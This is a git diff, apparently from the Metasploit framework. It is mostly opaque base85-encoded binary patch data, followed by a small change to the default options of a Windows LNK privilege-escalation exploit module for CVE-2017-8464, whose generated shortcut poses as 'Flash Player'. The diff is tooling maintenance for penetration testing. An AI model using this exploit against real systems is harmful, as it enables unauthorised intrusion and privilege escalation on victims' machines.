z0aHNIu}5WKE!3#4X#m4zQXdBBu)0dYAz|zVE*xFHT$&~>l+ULw$!Vq?C}F$~UCJVu
zEl*>{90F#!YHOA`b{@2WIgl`eb<^Zj!`NcZaQA_Ta8l||x{N$_k{=3<nEKqKkjwSC
zPf|hhWH-~*SgUFxu8g=xl@6Nz*sX{(#CngMPvT|w$smi0qbuS$3e_kRzMgbjF4v_?
zDWD<LQQ1AZj8$sb#uX99q`_5d*YqfJ$e-#Mslu8f$1#<3X4-~g0VIf_u|!RcSRZ*N
z3gKWO_4I|Qnhkm^D_v|ch{Dlj%f$Rh_yo}~LzupA&!(=RUjEr3bi^}=UV^t~vLVZt
z2Y<nzLOWq(?jkphDsJMVds2x%3$Xj&Ca!OEj4UJ-!-Hs%k{|s?U-&h(PO(ElLxGF=
zr0#_A0k{E^Mt$f~j4Q>Ofdaq5LWg40`RMRobVYtfj1tB!jF3cS2gxK-`21@0U|P=!
zJ;Q{FN5Fp``eOT)j=ivVe9Ix(@L<AtM3GICCEj}$%L%n(BiQ}Ge3r`G&`Eo1gqcWl
zF%!B$U6PP6((-{h6aJDJ9lVwdEv&|lk?qI?`og<mAO=H|hcJv>Kx>S6(i)>kFz!yO
zXy`1#Y$Hhl6|Gqv3j&(Pgz-TTMZ$ZPeGwC{vh8Ci#xmRsoa$fwA~=SGP@4(aniL|H
z>kOU8fS2>{11@pYwF@-j^u*E7SZZ*#x`io$F#J={MV@&LjAI|bLwnMR-9bM3(Zi9u
z2Z4=*58;haz`Fu{5NSd|C8hkdma?&M&1h$;{aBx@pI8yy_?A<ks!Vtsf(helrt(6{
zR^9<l4j&<j&tyT7zA(MDoQ6d{Gw@MRV?$OHsxYUQVhCdoK`8Z<yQ4%<s2&-^0O>%4
z%@FNowOA5&KM4^~I(?i^nmSI;Sy&h*jC$<ApznBwO)a>}Y*es9QBb=3WvIp$7)|bR
zNKrblpAq7<aRl23n4=YGE2VOM_!RanGM+6&=zE5{u&UT9D#h`Yv}JsiZ3knVZj-_g
zt<X(rn&3<X6J*CWKrxm)9mWya*wxsD>^6HmXZtDQ6?+V<&kSB5SC}nKT{BtRn~k6x
zT-5_v6t%G@k;aUV+k$a4Xgt$vR1jGa1OYnqC^J#&RGzWhDGBO9D-#l8m7r$1I1pKc
zC<H<k#M1NFxu7Q%puk!A79FFAI2y%cy|Qx=ha!%~j|b@-@8*ys$=LbC`B<=xU5S2%
ziB#+4QXLX^^kVZF4)vz>uzc~O9yM`L^KZI8$aB_T2^XABi1WfjVp<~Oe%6j_f+xxK
zS=fMrkR76113wf`k$NKK8aX3ORJb*a#t%>AkKH;Y5uE;!BCju%5VS_)cTw6=$1WTT
zyVIc<<~O-SSPZzX`AzB5qT%EI9U15i^)6(a4Sbsp^ApCMZ1#2XYIAz-YI8=ycoz`T
za|z=;RQ4r|Pf~f1%>~g9s`QuzelQoV=VSaBKdMN%P&)AOzz)(vGESEE^G7dwwqp0S
zP$d2)<<~g05J7#Z98$7#bX-(+>mqeJScNuOMGnFv8Bf5>9fR~rLl?qv#}PD`osxUB
zn`B7tlL_MqMJtS}z;2K*o>bb(fj|*YQkcCXtVbUk#@0NZu_^Ij4vlF=$}yC?2?7G)
z&gK_sV73~GCdwx$aK?}(sW%FiIX*=itMgCEUq;B42K7?p3bR?9(U-~^Ai+gWoQ*_V
zbcA{{)JqWLJe}RXbK^dG*<TmmVfUOA+?aZB?FoKx1|`A*JhRCv@)fNVv{^7WK&LZl
zm3)?uPR>rdx<Ie%p@~rSW$kfqbkX|G?9Rdph7kQF5Rw!YS&cneXRd~mL(x)*PK)*9
z+Y6Jw8h!y^HjX;sqwVO6eHX8@)*lO3i=4j|lNvr{xP25NWY>1I_@T&3U6(w=zJJTP
z^0#!_YxVX+hVONd-+DBm18Me;f^UJd)Dvq$7LL=o&(Qe_db??GBy02jw^KBO(pG&R
zaFAV&ZAZH#O*T@uRB^E`Qftm2qv(_&KG?hyMvm>wxFLy~U`ckQ`qR)`r$v1zRvJ3~
zY;blcmGsnvdM#Kw%x$1DY3C46;#Eq#U^%cEw9|rb!uTnRvvh0|(S-3nG~l)<+(v}4
z`;d9?r-pN}{+Z%(MWzlNdU**Q-nS*mf*?~9q88v{0@^Gdm86fd_BkSy!2U8TxqU15
z*Hl7Nbi^J*NJMm{5ncFFH224J`;S9DooUP};J5|7Slx3&$47UNMY{(V@7%bEUZJt+
z-+3rBHd8iI%W(SzU>F`Sbl!<_51~4KPwzlyWRrgP8>mTZqSEsVMx~GT$Fz}({d&pW
z8=p>L7V6PsGUeIYAJA9I$j$VYj>i5A=StC<UI~c=+OGx&<u%c678B9$Rt#TBnUoU0
z5%(duCr$B{ZZ~t4dyrfyyN^tEH-e;S4skF<;&4{Pxk?F)yl2Qz&8VCn9uQxREIl$F
z16AOGJ)Nd(JPd+&$g{{5nh)eMWnRkka_JdU^D3nj<KJ7DH{hD^yAUdG(jlh9Z&0;N
zkCko+UkZ;!Hl=lZ#vB={Mwhf^@5Fd{n&GLndife%q>Ef3x6?axIz6(7dB)vq=)52L
zhfbReo#;bFFBYkhkyVDs_y*MJehpKAqb$6hB)g7ND`5!V1A5tb0<Ast8m@y|4Nn=Q
z7dl?Rx9voG31_H$VZn=<LpZ9(VjIBdmbsyWNnO9^0gb$7?{EX@d@8wLxO*4$Yp1gj
z7Rr3)#*Y|w{g5fUG%5|^YXUy2gqZeVKPZhYcuBjaH>LxvyfoS<G1B-w%x}X-i8baD
zp&u)SG2c0jFhAo_&bKTO+=6LI7;nLPlIOIejt^Ie{ycfnD4|@m&}e^T*XLi;SFMAI
zV_1V}$dB}tq9R4=msjb-L&2eOZcz*ZDfWBiXxz-LsNqjx2k-8L1dL9{o=O)R9KK3C
zB6@Tzch;HNBD*b>?L|FeIradP%2?8(VMf}l=-aKTD>1#3H08J#sPd&zh=GuO@OUDA
zoAM=5`M$vRV^Rjkv<V6skTvkpRTKK0;TU7mF$3a-a*DktI3r#x>+P?I+0p^|Dm})3
zaJKF0*UO}Ra;0ASIy>b)LEamG5u<hxQ>j1xF0E&l-@rHu?#??9VE#pPtYzW=4Q8rd
z6AdvpCN{3ee8esR8|bVYcRgJyi6I=uSk?fi;Oopq*oDuNuVcb*!l>|&G#GrpFO|fD
z7~2;4fz^^mcPjH2|M7TyCRMmlp{6;SkPdyu&EKmIJr?^R_M+iU@H_>cw$#~Sqkn`E
zQ*m@6<L%g*Ia8y2Jn5nM!u&UO*p}X)_Q!vj+^CfAuPbWk!x80F+T~8eF8?&cuB$S_
zry><8nc^k<;V!v4&Hn0^>Dp>NinP#vO(>de{~#E{oUSGQYP`$akxV<yu{vb7p)viI
zrp68zt+Ayy1lR1QN~{J7!(rEUJJB-i>dHWYSfqN>w8-l8%<y}nl|L1q5jv;|^<>+B
zC(@NlPsw=lDnE*=BSPYJgg<>zVBZ5#=izr{Ibgmg<l^L3B)@{Wh2*Q4WLTP}Y+Z(3
z?W99TTv5V5jcmr^yO=*rM!)1|M!)1g+i19XQa-{Dj7t=?Qh$#kvQZKFe$v=!5QI+n
zYn-|U-}LmsB?^6kLT_jEXQ*e`b%UbV5T;|GvFlXn6((_d_^@aQ4I|57)A4F>SXp9c
z*nhFYdI-_-a|*(6lpzci2YM*UQp13cj%y@pk+UbA_8^AAX<z>{oo3<>E4#oMuABY&
zc#%uZtJZ$pzdtrtxgU&6$8=E?23II*n-%$$iu|tjWVGN=%rorTiZHFr2qz*{`b^Qx
zpMqnP`+ZrO{Q#z}OpjtV#nS$4`)9$}Dn5#gsIg1xXF(U76@QQAAE7v0m?2l{!iR&?
zp*;A%93J{^OfF4ZwU&{tJ0l?-di#uK*RpCC{qtX>%ADpmb_`QJbPl(OO4hL@zF<EP
z*IkccbRT8=3MK36lbBzPl&-5QF~3SJE7h_>ElbtXsg^di%u`E?S}s&elUin~WrkX&
ztL4ksNJw74TDG&2bff=}udNy0H9UT-(GFjIrLv7tog!)K`RaI}y6pO@Ys)GeUmcC6
zG@0_iln16fFy(<M4@`OBZ|#9L<YttY(L?`^N}tdl!zb*&wcIKGUkwket`R)``lf2X
zPxRIMS}J`3F-O=caDheqqWnd?jSIB-d@X^^47s$f)_vW)dGk2@L1#ltORkk+IS!vG
zO!&u&(o1n+Z}#4}Wzm*`Jo=+gvAI<+HF}y`f_}j<gDY!j@C$)}X?~lj$rCVneWvDC
z&yB*OfKV?s`@EdVw4&KB20bmyf`We=8z?lG8hw7#{07s8ZK4n`c|?<EoC|qyd<<Ct
zKFLvAn#CqlJ^t9#WZ61@E78??H+p?ryr#B*5Nz<7*xwI&NG|=sDl^`+S?~u4F~1=P
zU-JLtm<`RMDbV~aAxXQWyxd{RUUE&{0#jj*C5JazEqtNH%3Dp@i-iWC-(!MjmaJ4d
z7l9xru-TiFB+Bty^YU{GZ8?qg)`A6O*BSh*ITnSVjnDfWKXfkQ#|QpZ#{ISRpW^qI
z&Ht4Dru_Fm*)RUu@$$djfBueo&>lMV{COUDzwGGsM47!F|8R&h33+JS08W4?w6^8o
z%ttr(DSoq13>?Q*w6rYsG<!?=vwj&seN)f>1rJoWO=x-7W{#uZt+Y+TIk#Z$flC7<
zpDy6i{mIsu<#oXO0owt00UiK63OER$=T($3z!*S}UwW7UPCzZ74bTa=7w{+`3OEWF
z0el9?6!H5JfD=#&XaH;n+zR+-z=MFN00#lb0iyt2kmJ4vxDrqdr~)(rz6H1qa3A1t
z06m9L9tE5Li~`009DFhZZ~@>_KsLY%Z~_(sssT3uHUPW;dZv89aRIK}=S4m()`)&w
z32K@fYJGT>kweRUZQD@izRi{U1&=5ob+5<0pe#@q5d5H+u5oX|Er3Y40?iUZtP;F8
zicPG&p4zp(je_@TFKz~{EQ9Ah(_GsocvU{E7nc&Qyu}v~Dm}QW2;7fVSxbZX;T2@;
zQropnPyuqH$u@2~O+rgsuC>PNX$v&@5JN9>6+(+33g!N0vAG_KsrQvp&g~Ti|Ji7+
zQM1@D2vyA+{2u?dGH-)>YqOY?^Bn149`ySKuc+$F9sE4*>IUxlNmykxken`s{NV|R
zZol7$HIzZ^rM`w>i?F!4MYzV(D!{r6C$NhBZnF6sgjI!B3LdQT?S!e>7QpUai@RD`
zfOt@iyOnwrv6x8Z$7=U5Tyy=#av$z?9QR@haVcw|A7YK9T<wK-JT15ro$Zh-v{iy<
z^XJf9uC~etcPb3HLZwBn<2Gq0%_kSus!Hct7dQI@kbLt5<{J7P-4C?v%2+M<Sxk8A
z1*W3l=Z3V)g+Q=XNc#T<UCrn0Y9U;mw~0jxW~*LkqkAEIf!XD@>1tX8p^dv)S1b5i
zo4peO%W=2sYFh$u)Cx~aP~d)~`$8t%6FT*7%dB<dM*4IT1LNrC%5nRW7-kIpZQx2z
zv$)vjufYmx5w6|vO(Oe)ZYAO{xoDOOtv>%Yjw|HWt;6x`^9l$y?sjgSr!{cnI@aL+
zL9?zIlLKQ~xm?tJ8?ZNP)?wN<a(v1<b<7V^)&;Ou>st{QS8E$-8n{|*;}#NzpX_N{
zJ#3=6N3<YgR6nCyi{Qmy2U5*T$al2sf?meCK<C-u^NZYa-R8zN>;YmU`3v(+;lh4*
zNx!}PV^CJHqOAIAd|goUjSSFz72zB1<=42YCiKjPo_{H{1~%9G#iZqQntX{*y7KR|
zB$2-5jLw;8e~DU5iTbiV(6w`87N7;+@iN<|=KRZc|KC+!I;3kjZjR+^mTF6*Wt-(6
zEq7RsSw69(^5^p=zJOoNZ{j=o$N9bdA%1}Wkk?sfTF<jyVa>7HtsT}|tgl&roqJK<
zs=UU$Tk>AYyD)!w{*L@z`2+bU^0ftJ1@#5(1=hlw3-2x5Q}|rrn}u3irfr37gDqnF
ziR}g3C$^dPx%MLaf7<Ey|8pEwjygxkahKyk$J35M$9s<XMdd|nio8YtUbMeR<2>Iv
z*SXla!nwh@-T8gzzdCn2k2>SdPn|kfn(Go*v8%$><l5?zT(`UKbp6Qnfa@XGW3H!N
z`(4kwhFnXEYm3F=ZN;f2rV>|4Q_1F%CrSoN-Y?-yxXZx)bj#(Ia(G~+rN#0c%RgBj
zwj8kh#xiF4gC&Je=P%<I@VWdA{Cd8P-_G9yZ|vib@TYjK^&))Yz25q5c;Z&;PU}<F
zUh9DMm^C%GFt;*yLvC~Kw%mJjAISYl?i0Cta$~u_%hl(V<yGg^<*m&V^1OL>=RJ|P
zC-2$36M66EW#kv<d-A>cTl4SCzd!$>{73Tl=f9BucK&ewj|v_vc)Vaw!M=j?3ok8P
zSXfZ#Dl9Jy7k<C+UkZOx_(b9U!e15sy70Ba^KDtSMK-ss#^$kYwE1mYZ9TS^Y;W3r
zYa6lU+Sl3-*q^r#*k853Wq;THq5TtkierXjw&P;Q*Bn<mtPY3cDo2BZ{vQME_eM6v
zMXB<?CaADfTB?BO+Ld;iCDW2c?JlLQv*;~pmUIjEs4_O)VzD5hW_+gepo4>(P&C;0
z+K24<kW}sv9Je?gc0B1g=J>=hr|9yc%A#);-BvVMbe?mOv)1{d^Mv#F&U0Nh*Lqin
z>ps`xt^rrf^_lCk;*w%d@i&Xxi@S^W7C&EnvN*FOr({`)ucWgC0!$hvGsBu`<w}*h
j)ADr-w_d4tT3^ZK+B94SNV6<X%R?43UrYM^KYsoj+X)gT

literal 14848
zcmeHOdvsLQx!;qSzz72qHIb-6hB|0a$vtP@lX)bNL=Zs&3CPnBk_klea&m@;j~blJ
zlH+kS_F}bbsU_mAtW~_FUJBG_AR&R4+K9BEu@n_`;zSKsFH(HW{eAn)gn+ewv}@h9
z^m4Mkv-ke?x4+l^_TJw)IWv248`Cnzbbv&HvE3-?D&+Tnd}~4X*a<I;WjikV!^GX1
zS$~*VzN)s_)D&!78LX@~RaG`LG)krw0aGy4V5)5}70)R%)i+iL^2UrAWlpj#En#ey
z=Av^19cN>&9<52sVV42z0FZK-fDC{DVB1#ndYam$0ftEUwH<dfe&x`>u0nK~)NwR`
z#^d6}a>%7d6Jy?Vs(i<_nK9cx=-0I|mi>2z4ubEFzk^Sq@}$5z35~8S+(;p^b;t<R
zaV=-1%k!!$rApLu^tcItQGhD|!>&TMydy8D5|-0s76OQu88GZBWI|!yisoiQ?I60+
zVV%ROEyORN^5Z^Qj!yWR<qji4mGi4r>9`MJGaCW8?pt&nc}4Te33~(GS^&h4>=|}}
zUq_x)$MrK2z70Th7HXWmI9)JM*I1RDo6YDWxwf-3R0G|#b1@fM=X;<mJdoX^Gq(UA
zD@82IowCjxTYxBw^ljN%wr%y6XK<6o^iaI8a96h2v7{5lZd!CpI@@kt01g>Sx!D{!
z6biPp(rv3F9ma>U&>fCx#6HDdcn6peK5mSzVUQIAtHhtf1G*Q8hkSI<`0K1~5EAJK
zz0<xOmGJ2_W9xh91MvhDvA<?wV<O^kSH_atD)t(fd@B0VwLq}&84d3Vov3c7bts-v
z7U~oq35}0~Ja?zD)qtTXxkn&Z9)!s8Ns-6IzNAo%v2`LSc?&kQo&>wIUE|Od=`*(e
zp0LG*q^^_$yK{Sr%{mHFx!kNr+azb26TRU9LpYs`)<9*|S6uHlv7_IaNF;{zZzms<
z%iq8Pk95f0($seHIH5X#k~_n3o%`5YqoRet&(KKpx{s|nDcj7k?U%x?bfSiM)QA<;
z#EzbH@*~ynPbWLib>55Q%Ki~hqo(bC?uY*C&}fTF*D$gsqh;G__)AX(XGHX|d63pW
z@J%9-nw6Uf(MJf3(Wzq?idZh!i!>m=^ml_~$lm$4%70u?CU?tkga>jWhvY21YuoD3
z`efipWibV3fqb`FPfRhIk)eM>#K5ESzDS>x9{y4r$|DMSsaZ$8i!Mp_4o6mhok(B^
zVk%AixF?;Yz{EtjD@TqYgqC$icU(j4V^>06v?wubZ1}Wh?SrwaQw*e6hxNq<F6P28
zQ~N?!hriT>+NpQAvLAiLCC4A&{v?v7*iM*|q9bRL+Gf=#;$)00hHfbWQi}+*NvqG}
zf4i!|`P9v-*#0-k+sPq3EWzowsBr)Fzlh%GPLhyXKLa^E=}pOCp=FE(C0(J+GUqDA
zW>ai7=;1T0xTL=j<%ZZum;+iv{7Bn;`F-pl?b+}z;?s-RV1;mXRwfo8mRh9a1rjD*
zMjjfA9>jGbE1P%f<-L(Z(nT0TqZ5Zv*_?^+>4&xlQu71;%R1Z6Uh~Bc`F&-+-cw?b
zMs{Q26~;eb)(I+XMA7I=aKeUxIyjEx86a6Um}C3l+@1*a5vC{7g&NHQX!K_2M6`TX
z4AAZKCQ=-MV{E+>NV!|_WkB7;5#KHhF}5xNGI1n)I^Eb>ifS}^6x@hIaZ(yhWi+y%
zuo3Fx_*rHXXmUV8QhCB47n{wfXHq}P4AKB4sYoTA_f+bpkcMz8u0+;pu3au^cL)e2
zau5=tFXtdwdm?n#G7UwVj{DgJ#TBl~ym=&|5JR|#jHCz%ArU|`KA@COOePKiVAYW{
zj{5mHm0r(;<U}sz0!WAOK&JfUVJI*p+%?oUcP?jc8$y)v_8@FgW!yT{E=AxcvZ$vt
z8u*+qR32ga@I3}iC_Q#5;*oD=2N04qZ8dE;eR7BP(1&TooK8UbY-8(vq%?Lh6tRcK
zV$)9Tw6&ljlA(Qep^C_fVusM6N14qXP;3^US!@+X%bf~g(aHxkKN*3@A;e@Ll7jeQ
z85<k}HM(-;qc|TyL_88%>&Uf0b`lx~)7kY05)<(e5jdFGO&wTp#+@Bs9HqE#XIL8w
zP6lZLqOztf(aSN>Qk_z$le4H7dt86G%kWtz?ca2sE919Mg0L?W(nM^ShD7F*ydBqs
zKBqM{4r?p|S>dkiC7ohlJWcM57HO2s2vOk_AB-P3t6#gWlq5(aKkHP_hjc<vtj0Id
zs+`XgfE(H~pvbUL!GX<~@0Je=UzChr^lr&SZ@B9Qb>l@qagXGXM+S7tQgeoNsW~%|
zr3XUZm&h_u*^|gJQ`yaDgFGlC=`j!DQ7fD;#>CU&pekjYy!VSkTSyBzYq+!*wqO2g
z@$NZLB>oQhheuOxPddYvcae^DC?&e+d|gkv4sE^y)s-e^oq(BJj?&G5E~P}j<scf|
zPPt^Ton*)*pC_`ss#b8Umv4Nt)OI3EhYBq&lEUpR<~{n@fzilpQx{G_r5L;JX|0qA
zH><e<0s!I7{f%ulHyMj2$}qqwwja4}@<iu5^YHzg(y`32&j9t(h_N)PC!IGiAIPhu
zOK`eL`Qfh2WKse-FXpyvTm1^%+{dK%d7hDm45kxlN9g1^ln4v(<QWh7iq;C+Ja}!;
zDZaG^`OWa%x{cyr#{)AN@4THd9wo(Vdz0!a{gq%!E+gjArPv;I<{5BmxT6rF46)tF
zO1ZqH@B_&BIO>E?>d+T!#4SE%822_cKNS@FI!t2Zl<}cA!CLX%jh5IKy;awyjB@W;
zJ65?<r=6pB?>FA}Jo>|(n($tO`?Juy;4F8?W{l*iS&y;xD2=w$=xEN8J@2Jyj>$Lb
zd+5=F#Vpuqw9^gpjXFeZCd|;&cF*;s0ZMVUx+yQ@VSochs)sST(bBKN?|vyc!m+~e
z@mHlhGEh67Mi7g_Bnx0Ok?$CwP$H|GbI1UPtZ+IRrU`cmSX)@k{WGz!6Ipa(!Fjvk
zJW?R`Q*4{<Lt4<ZP1mEpHPycc{jy}%0ap!NtOjj0O;AtP@W3o(yaY+uPsXG+=Hz}r
zXqvFtBk)61R~Xeru0nH9Ot<H_F7_ZD8C*%=*yJwwW<vP*;1*J5cX`pa)l=veK0Wfs
zTf?VE8y~6zt9C+RCyd;WA?*u!BlP3;rKr5JT<vPT33RUzopPfdA#IF|pd6>$u;Cj*
z8pF534f3)MWrT6(0=@EMU34S8HBegU9zK&1{W(?Sk}hNG<=_-PV=}gG<Q2WKbs;KP
zYvhg0sqn@^9BW)wiuoCG*Rn3!PrzEaEZnWvK1K|q&=_prh($0&rIxv*;1Ok6S33{F
zj(e}@|Lu@}5o@0Dgf~W?A*6Q+pQotpW%8G1P{}}!^j38C!J&Yfg_9XuKLx^2C>dMd
z1$DG!KdlpWqIJ7b*DEDQDFBp`gTo^yE)V77st^5<gfVgzT&CQjiySbvJ_}X)$D(cA
z#qE-NairmKA^a-Y$BZ+2m6EQ>zti-}V0<+87!m;Eu9AZ_GPnQiG~9PL7%9s-xaIvC
zVz~2C`N)Ppf?1-)14c*Aa+yn9c9tC6sExl&?DuQ6a*ry&fiBq-|AjJ!;zn~)nX2Q~
zP1P%f=LGU|UxE+@W9p6<V(Okm`<(qiJ+E@mzY&}gSqv*h8Q+3B9Ys@SP?INoi1b|A
z@3iE&KhaZTcj5?+T0`WNq*sdQ$s^ILEYU~$LVZKrZs03Zhy7bU>ejFYW#TF9$nC9=
zfYBM)PvyZSx8X2VpFc3IJWmA+L>-Ggfp<-KB<Pfi6l?@Z#<CU-vs|Q8^=(h8D|5Y5
zG)4MER#Lt^2r&@y3cQ?%KbTDTF?WpT2V5B(yCx`PL>54g^h5fb<Cv_ZB*fr2CC%L#
z8Wr~|diR@BuDn;7rpNe`=i4qKeL-H4;-}2e%QN|@l?Kb=uVd5}Vk-B>KN`wcU>vRC
z)`y{Ba0(q$**FkG*-5WS##jmBD6YqR#I8rS3JL1*)!CLLF-9U7%NyVnI>udu4f0}T
zAr~IOs7RlDH1ugtI*BJ&^rX|I@LI~~ubOxq#Ge{kA1M{asnj$_XQe}*A@g(9sgECt
z{S0fr{|<Pb0#94$-Qc2^oYDxf16f^X&4zW^qczC#c!QshH5**B7fb0lI&0eEuO$N`
zd0s9kqX#X@k+k!?#$CY?#$D4gBd4OpY1z`1;(<1$)Zl(=?MQ8@-u*_<5Z<E+cjUTH
zhGLl0+bGSXco+L9%eWhfsMj2;Lbe({tzSF3W`mCwGbE2jydo>5r{cEVgp1t>?cu!-
z+r4NRceQ1r!1Pgl)rjcQjO@tA(zW6#vLBlarPw^}&oRfo!ZwVN&xN}+;m%z5C!u3t
zF2eJiJ@SJ?XXR?;-p&POs>H*XV2qo|CBj_8aH$*Os_do_(Q?Q>B~26$B;BM;Gq^j0
zBem1?D7gK5Rr?Rgy|m2Em#0dj^9|BIP1!dBra>9lGmO3rPr-U=Ecgt|*VXaYsN+wh
z#t-w)LRH5;DM#!8zf;q$HAy2Q2c+HMe#{LLi(L27P`^m(ohMHsf2jPs5kip;UN@HX
z0zDLuV#hH5Azo7c+r&o<^IsG%PiekdNVk*&gCi(#;6M``$kRrOpEuw?9zU0y8$X|c
zzfx#ka@!ZZdtwvfgS1|6T_Bzs(x8muQZmqnR?(^QQ}rLAYV!g2PwMDxfg*7F>&9K{
z5yf*eBZ+AF#o5vxWv0QsA1cg50v5c40tY_&1|fV(Wy}LFWQc!C^22d>F;kg=V=6Qf
z%426b66w1)rZgFrZ0IJF<v}PjwCDG|ceYN*xurgO-5#A~HUzUa^iw^25t~9K?^qk3
zya$Mdi!h9yFZn)0$$0WgOnL$fy{#=V>G5Q_DOt89%LkL?#$?%=EL)Q0-N{l)mUYQ;
zRkEz+CCR2g<X_ABANyqJ6r&w|GoI6E+oC#^|H@T5b<wOjQ;YNe6&@GHUhu#L4_xrT
z1rJ>Czy%L{zdX=^T!Qilx{$gvdS&}-yfXcMS#d$zf7SzawJTOu-9ANh<W<+zv5J{%
zD&_@N);3FlU{PIVb90~>jAu93%nspu6^8G4KxMV$1=a;fAReDhcq!g{IUXZx8&<BJ
zvesdvkA0-t`hcmXvbHW14CIeuQ>&|kf#zn@q$bm<%4SnTqp7yOa%EsjbD&D9ZERpB
z(}LQd6soM78wv#1^MQeCQ%z&gG^yIOV!ae-HdRWd${{W!dT2~(uu%e^)Tp(!(kfFG
zJ~A>1>n5!uy7>*O8yeR(n3|dcq3T8x|8As`<kE*qQe#zPooP)V*i48?)p>Y>{13;h
zsFh63wRZ+mw9|`<@=dwZZ<#;Y<jAw;2_}mmIt9Dv0G|te|3Cdg@%eqa?$w4Dk-oXh
z@x~ct3T$Y*0A7F;sBhw11p1%8j4?lOj1||_&91C%C=@N!x^R8}Jm76QtMdtoG5T(C
z`!JjkVyya(voynN&j9~CU@zb>U;v;C;(JIy9-tUd4p;@a6R-)e6|fs{7%%`Bfdl3;
zz;%EbfKos;AP9H}uo>_?U@w5KqbNTBd`@lXs|RENt^oW9a09>rC<M#|lmnImRsrbx
zKI&Y~is~Ah12Zad`Ucp~Sy3=hDFyhEJQW^Iws8<v;gkjDPpmjl7mxx)!CI-ds<N&u
zdCs0>B@J}2pND4Mn&|<lC=?6^8l)r_*7I%LP1Wr8!?5M6phh*2EIke5XH_;!CBa}L
z=5!pjXE#=d>XJG`r|E<v=E-D$v3m$pwjQZQeL3=lsm(Xm)&;1>6zWmg7d1j-`cU>~
z99LVlx~LKP1!Etl-P8c<D(i3-pKnmEc2=Nr&9~6(aV<|UN&`XU7WI`4RRPW{5M*y_
z=LMQW^#N5VK5W#LeM^IS!p(13#b=?qWL;IDiLwZ24WF_*b!BydKoi@jD-Q(gYa1{@
zDOa+Gb>(%<Flj+$T`0hw(0wNpwnLZ9gr?Tv>(&zFFE6Dq;6`~4W3Q$#+!)5b(cOv(
zO-Y*_sBa9er%!7uDv+x+HU!qyO6(q1QCZ)-vVu2Qwx*&M&V$<ZEC=<*6_^c81thL!
zSEN-W$L!VC1OrI(ey^=rO9B}CLR()+dNDRh*DM9=0u78^OSOio`X=^lT1BXV^Ei`M
zxuP*Bv7l~EO;fP8L8`$QGg<^9AB#mu`^*0!+*~s6mXcXWTPelGl?mDZEYvrzsR~Ld
zPQ>j8bY-aTmB}K?>01ClAnPue@?9Qi+qOCfP>1Ka?3N32{#|bRLE<y$_cx4<7k(tn
z5mpE*h5Lmz;fQcXNEa^^O`=0wDsB)riF?I^;!*KkG0l=`xzaMxGQ%>*ve>f0veELP
zCEYgNHqW-uw!&6t3)v#JhiuG#vE6Kc+Wss1U+iNYc8A}w*s<DimqT$p>e%OqJHB!_
zopYSE&UWX2IbU`D+4+I<znuoxM3==i!&T$D%k`jZlj{lBFI}&>4!cgf^zO^uSGlit
zU+)&&F85UT&F;DG#qQPaBkmJ!UH(P+k^Ig1FXzYdPvzS@0Z-8Lm}iG)kLS;xzj)%F
zuRRxgulG*#)_B)>@A2N}eboE3_m|%7-j}_HydQZ7y?^sg@J;spn{TGC)VIu6<*WBa
zeE;ry*>~9YiBIGIkzeqa`WN|E`nUVL{crit_*ub-0%Ji|!Hj}i3RV@g7i=&1O~ES#
z`wCtw_@4r1Qh%~?sc^Y4K`0hx3X<@Yut#`JI4XQ5d@bn3vEoGWda+2nN&H&8*fPO#
zjpcev$P%_ZVtK;SZh6-7zU8DPVHsh~vWnIM>y6f%tr6=Z)+epMv36QtxAs}zwZ^PY
z+gw|PEnr)1d&c&f&0^2DPqWXo&$BPKudv^458Cgv-)Dco{uBESJN>?fe@^T|<QA$w
zGx7?B&<yPswQUfxg&b<PscoI07Yss%z_#N(2+$dVAe0Ilg{{JIfgv86#5Qreh>i}G
z_kA=L-!890@wUt6E^|NUe%}3}yUYEddsP0V`HuWW`FG{F=KmspfBr}L2G2szBcA6x
zhdpz>)!y~qhrGMJ$GsX~j?dzo=Ue5w+qcE{s_z}&M?U7C==b_(`X&G4{{Qs9?*G)U
zgMT&L9=!#^nl$|9NS9bdOT9(0{Ms_wnrY32-}0@uSyx({tgY5XHqdR?@Sj&bQ}BGj
zo`Sy?unx6t5UvpH!Yu;JNaH^(+rj6lPpBc=gfwy;E3#GE!nUVv2W=nNa_j>9Ji|U0
zK7QK%q5Ug+x?`+koZ~Gg2ustL7sUx+FL7Ms$al<j1RU!f&pGxu{^U60xXL-rxzzcn
z^LNfUt`^r;*FM+B`5I4_XR>FPhiy*d`n~U)=0D~K6Q*TIsoCW=mu<1_F56Ebd#rsv
zq&{l@t^JSoGxn<-Hb;dcjFt2(B)sV8ar}=X!#T-mb$Xmnx!%Ki(YSN?Iw^B6!YaAL
zeXsi|_wU?qyFYP{&Y$i9bCZ^pqsa2uJ$pUxcqV(xyi2{edqdt<?@zq#-WR<4ysvrR
z_TK1w!1sjjY2Oat3%(D1*Z2$l^ZX0_HU72!hyDM7S=r^^=Re~Ai$6|!3tDc+?Se%N
zhyx;P(Xv@U7ut5(j@eGyM%iz%KV|Q>ziFS~@Hr|S4>(RZ^iGGf!Wnk%bbjg_=eo`n
za`i&{k<fm?ZOXqHk>m5s_nh#sUM-*ZmuWun!?sM^AGhqaA8?j>B=7P9mZ9Pfi+{7e
z>zL`ff&QCq((#|S<p?u`9fD1)M%=z69>xd5IhMOETP<A{W;I)F)`f_a9oEy<V%vkZ
pE?XvcEt`FzeVe`4e%!8eWIARzwmJ^d%e+Dz*Wo5R>OY|Ce*s3p7Bv6>

diff --git a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
index 6d2e32a57d..1b316ce6bb 100644
--- a/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
+++ b/modules/exploits/windows/local/cve_2017_8464_lnk_lpe.rb
@@ -47,8 +47,8 @@ class MetasploitModule < Msf::Exploit::Local
           ],
         'DefaultOptions'  =>
           {
-            'EXITFUNC'    => 'thread',
-            'WfsDelay'    => 45,
+            'EXITFUNC'    => 'process',
+            'WfsDelay'    => 30,
           },
         'Arch'            => [ARCH_X86, ARCH_X64],
         'Payload'         =>
@@ -78,14 +78,14 @@ class MetasploitModule < Msf::Exploit::Local
     register_advanced_options(
       [
         OptBool.new('DisablePayloadHandler', [false, 'Disable the handler code for the selected payload', true]),
-        OptString.new('LNK_COMMENT', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
-        OptString.new('LNK_DISPLAY_NAME', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
+        OptString.new('LnkComment', [true, 'The comment to use in the generated LNK file', 'Manage Flash Player Settings']),
+        OptString.new('LnkDisplayName', [true, 'The display name to use in the generated LNK file', 'Flash Player'])
       ]
     )
   end
 
   def exploit
